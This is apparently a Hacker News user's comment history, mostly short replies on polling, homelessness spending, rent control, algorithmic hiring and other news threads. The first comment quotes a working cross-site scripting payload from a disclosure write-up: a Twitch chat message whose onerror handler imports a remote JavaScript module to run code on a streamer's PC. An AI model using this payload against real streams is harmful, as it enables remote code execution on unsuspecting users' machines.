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verteu

1,399 karma · joined August 28, 2013

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verteu··on How one Twitch chat message became code execution on a streamer’s PC
tldr: XSS on OBS via the message

  !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
verteu··on Solving the Jane Street reverse engineering challenge
> Let me help you: work on figuring out how to spend the millions of dollars every year Jane Street will pay you to clock in.

Does Jane Street really pay that much? Of course 7 figures is possible, but these median comps seem lower than FAANG (and with much higher workload): https://www.levels.fyi/companies/jane-street/salaries/softwa...

verteu··on Canada will match US tariffs 'dollar for dollar' as trade talks break down
> I want something a little more significant than "we asked around the newsroom, and 35% of fox news reporters approve of the current administration". Cool, thanks, but that's not helpful or even a useful datapoint.

The state of the art (which confirms this ~35% approval number) is far more rigorous than that.

Start with a meta-review of historical accuracy and transparency, eg: https://www.natesilver.net/p/pollster-ratings-silver-bulleti...

Details on methodology and sample size can be Googled, eg: https://poll.qu.edu/methodology/ , https://www.washingtonpost.com/news/the-fix/wp/2015/07/24/ev... , https://www.google.com/search?q=Marquette+University+Law+Sch..., etc.

Sample size is less important than you might think, due to https://en.wikipedia.org/wiki/Binomial_proportion_confidence...

verteu··on Israel creates fake think tank in likely attempt to dupe AI chatbots
> Why is this one in particular different?

The article answers this: For one, the 'papers' are entirely AI-generated.

verteu··on After Losses, Retail Investors Flock to 3x Leverage as 2x Product Are Restricted
Indeed, pg has an essay about it: https://paulgraham.com/selfindulgence.html
verteu··on The unreasonable difficulty of time series forecasting
As touched on in the article: The data's not IID, and there hasn't been very much "time" to generalize across.
verteu··on Advertise in ChatGPT
Safely aligning a powerful CEO is difficult.
verteu··on Advertise in ChatGPT
Yes, the quote was "Ads plus AI is sort of uniquely unsettling to me. I kind of think of ads as a last resort for us for a business model." (Sam Altman, Harvard 2024)
verteu··on Claude Fable produced a counterexample to the Jacobian Conjecture
I agree, the conjecture never says anything about a proper map.
verteu··on Three ways people respond to a problem (other than solving it)
No, housing those people is only half the budget, so it's like $25k/person.

It's unlikely there's a trivial arbitrage to eliminate homelessness in a city full of engineers.

verteu··on Three ways people respond to a problem (other than solving it)
Not likely: SF has ~7,973 homeless people now, and current spending provides housing for 14,498 "previously homeless" people: https://media.api.sf.gov/documents/Agenda_Item_9_HSH_Budget_...

Thus, cutting all budget for cash transfers could increase homelessness by 80%! (Are those 14,498 now-homeless people eligible for this year's $100k? They can't be, since you already spent it on the 7,973 currently-homeless people).

Model the situation as "X(t) people become homeless at year t, Y(t) people become housed at time t," and you'll see the most important metric is "how much can we decrease X and increase Y per dollar spent"?

"Number of dollars per current homeless" is not really meaningful at all.

verteu··on Three ways people respond to a problem (other than solving it)
This is a fallacy because it's not the same people homeless each year. There's substantial turnover in the homeless population.

"Replace services with direct transfers" would eliminate homelessness for 1 year. Then new people would become homeless, and you'd have no services, because your budget is already committed to the "year 1 homeless-cohort."

The money spent grows quadratically (not linearly) over time.

verteu··on Political bias in AI: Where the AI models stand
Here's what I see on desktop: https://i.imgur.com/vuA2Y3w.png

Is this an artifact of dynamic resizing at small resolutions?

verteu··on The redistribution of housing wealth caused by rent control (2023) [pdf]
> Rent seeking, *according to the Georgist*

Only Georgists believe that. And it's the rent of the "bare land", not including the housing constructed on it.

verteu··on A Tesla Crashed Through a Harris County Home. Is the Car to Blame?
Seems the actual article is here? https://www.texasmonthly.com/news-politics/tesla-autopilot-c...
verteu··on Extreme Heat conference cancelled due to extreme heat warning
You can compare modeled heat deaths across different countries, Western Europe is still significantly higher. Eg Figure 3C in https://pmc.ncbi.nlm.nih.gov/articles/PMC7618246/

It doesn't affect life expectancy much, because most deaths are among the elderly (70% over 80 IIRC).

verteu··on Extreme Heat conference cancelled due to extreme heat warning
This simulation claims otherwise (though I agree it's hard to believe):

> A significant degradation of external thermal comfort can also be seen in the simulations, as heat released by AC systems warms the outside air (see figure 3). The temperature increases due to AC depend on the time of day and on the characteristics of the heat wave, mainly its intensity. On average, the duration spent under high heat stress conditions in the streets is increased by about 20 min per day because of AC.

https://iopscience.iop.org/article/10.1088/1748-9326/ab6a24#...

verteu··on Algorithmic Monocultures in Hiring
Yeah, good point.
verteu··on Algorithmic Monocultures in Hiring
They're using a Benjamini–Hochberg correction (alpha=0.05) to account for multiple comparisons (see Table 2).
verteu··on Algorithmic Monocultures in Hiring
> Obviously a rejected resume is more likely to be rejected by every other employer and an accepted resume is more likely to be accepted by every other employer.

But that wasn't the case for non-algorithmic screening. From the paper:

"By contrast, we find that when first round screening is not mediated by a single screening procedure, systemic rejections are close to the baseline. To support the empirical validity of our baseline, we study homogeneous outcomes in the largest study of first-round screening at U.S. employers to date. Kline et al. [38] generated 83000 synthetic resumes and submitted these resumes to vacant positions at 108 US companies between October 2019 and April 2021, a similar time period to our data. The companies, which are a subset of the Fortune 500,15 collectively employ 15 million workers. We analyze the homogeneity observed in the resulting callback outcomes in their data. We find that the baseline is an effective estimator of the systemic rejection rate for this dataset. As shown in Figure 3, the observed systemic rejection rate is accurately predicted by the baseline and a chi-squared goodness-of-fit test cannot reject equality of the two distributions (2 = 20.05, = 0.69). In other words, while the largest previous study observes systemic rejection rates consistent with employers making statistically independent decisions, the algorithmic hiring data shows significantly correlated outcomes that lead to higher-than-baseline systemic rejection rates."

verteu··on Algorithmic Monocultures in Hiring
The paper is here: https://arxiv.org/pdf/2605.27371

They find "disparate impact" of pymetrics across racial groups, but it doesn't seem like they controlled for anything.

verteu··on Show HN: Gerrymandle - Daily puzzle game where you redraw electoral districts
I'm getting SSL_ERROR_RX_RECORD_TOO_LONG on Firefox.
verteu··on The redistribution of housing wealth caused by rent control (2023) [pdf]
It does not, as explained in the section "Are Landlords Rent Seekers?"

"Rent seeking" is more about making money by changing the rules instead of providing a service.

verteu··on The redistribution of housing wealth caused by rent control [pdf]
Counterintuitively, collecting rent is not considered "rent-seeking" by the econ definition, eg: https://www.investopedia.com/terms/r/rentseeking.asp
verteu··on Israeli firm BlackCore suspected of meddling in New York and Scotland votes
Opposing Israel's flagrant violations of international law is not hate speech or discrimination against Jews, regardless of how desperately you want it to be.
verteu··on Israeli firm BlackCore suspected of meddling in New York and Scotland votes
Not quite. That was Black Cube, a second Israeli spy firm accused of election meddling: https://www.politico.eu/article/robert-golob-slovenia-eu-pro...
verteu··on Sam Bankman-Fried applies for a pardon from Trump
Alameda was only profitable in the years when Bitcoin was going up. By 2022 their trading operations were deeply negative (hence the decision to steal customer funds).
verteu··on Are blue zones real? Answering that question is harder then ever
Why not simply use median life expectancy, which is more robust to fraud and outliers, instead of "number of centenarians"?
verteu··on Citing 'severe' math deficits, UC faculty demand a return to SAT tests for STEM
> It's weird to me that standardized tests were demonized as anti-equity rather than GPA

I think it's because socioeconomic status is much more correlated with tests (40% of variance explained) than grades (<10% of variance explained): https://cshe.berkeley.edu/news/family-background-accounts-40...

https://drive.google.com/file/d/1qeeeGJ4100oM-mK0g-1Z34VqEaF...

I'm surprised the correlation between SES and grades is so low.

verteu··on How to convert between wealth and income tax
Indeed GP is falsely equating "wealthiest" with "highest taxable income".

They are likely referring to a stat like this: https://usafacts.org/articles/who-pays-the-most-income-tax/

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